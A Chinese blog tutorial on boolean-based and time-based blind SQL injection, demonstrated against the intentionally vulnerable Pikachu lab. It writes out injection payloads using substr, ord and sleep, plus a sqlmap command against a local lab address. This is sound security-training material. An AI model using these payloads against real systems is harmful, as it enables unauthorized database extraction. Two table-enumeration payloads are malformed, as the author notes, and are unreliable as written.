SQL注入之盲注(boolean盲注和时间盲注)

一、boolean盲注

boolean注入就是系统屏蔽返回错误信息,只返回是或不是,所以我们不能直观的得到数据库信息,在这里,我们就只能通过boolean盲注进行注入。
我们依旧使用pikachu靶场进行测试,这里肯定是存在SQL注入的,就不再多作演示。
我们先看一下为什么这里只能用boolen注入。我们在靶场的union和boolean注入处都输入:

kobe' order by 3#

可以看到,uhion注入是不屏蔽报错信息的,而boolean注入只显示你输入有误,屏蔽了报错信息。
在这里插入图片描述
在这里插入图片描述
而只有当我们输入正确的时候,才会返回信息。
在这里插入图片描述
接下来我们先判断一下数据库的长度,我们先输入:

kobe' and length(database())>6#

返回正确结果。
在这里插入图片描述
而当我们输入:

kobe' and length(database())>7#

显示输入有误。
在这里插入图片描述
这说明数据库长度为7。接下来我们需要得到数据库名,由于我们已经知道数据库名为“pikachu”,所以就不依次尝试了,我们直接判断第一位是否为“p”。输入以下:

kobe' and substr(database(),1,1)='p'#
substr是截取的意思,这里截取database()的值,从第一位开始,每次只返回一个。

这里我们也可以使用ASCII码进行转换,“p”的ASCII码值为112,在MySQL中转换ASCII的函数是ord(),则payload构造为:

kobe' and ord(substr(database(),1,1))=112#

在这里插入图片描述

发现返回了正确结果,证明数据库名第一位就是“p”。后面的我们就不一一验证了,每一次都将第二个参数替换即可,比如第二次为2。
接下来我们要得到表名,由于我们知道表名为:httpinfo,所以我们就直接测试httpinfo表第一位是否为“h”。输入:

kobe' and substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)1,1)='h'#

这里我的payload应该是没有问题的,但是一直出错。索性我们用sqlmap跑一下。输入:

sqlmap -u " http://192.168.59.1:8080/pikachu-master/vul/sqli/sqli_blind_b.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables --dbms=mysql

在这里插入图片描述

二、时间盲注

时间盲注就是利用sleep()或benchmark()等函数让MySQL的执行时间变长,多与if(expr1,erpr2,expr3) 结合使用,此if语句的含义是:如果expr1为TRUE,则if()的返回值是expr2,否则返回值为expr3。如果说boolean盲注还有0/1回显,那么时间盲注就是你不管你输入什么都看不到。可以看到这里我们输入“kobe”也显示错误。
在这里插入图片描述
那我们就尝试构造一个基于时间的payload,如下:

kobe' and if(length(database())>1,sleep(10),1)#
如果数据库长度大于1,则MySQL查询休眠10秒,否则查询1,即kobe。

在这里插入图片描述
在这里插入图片描述
可以看到查询是休眠了10s的,证明这里存在基于时间的注入漏洞。接下来依然可以验证数据库名第一位是否为“p”,输入:

kobe' and if(substr(database(),1,1)='p',sleep(10),1)#

在这里插入图片描述
可以看到该测试成功执行,数据库名第一位就是“p”。接下来依然可以判断第一张表的表名的第一个字符,输入:

kobe' and if(substr(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1)='m',sleep(10),1)#

这里依然有问题,跟上面的boolean一样。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值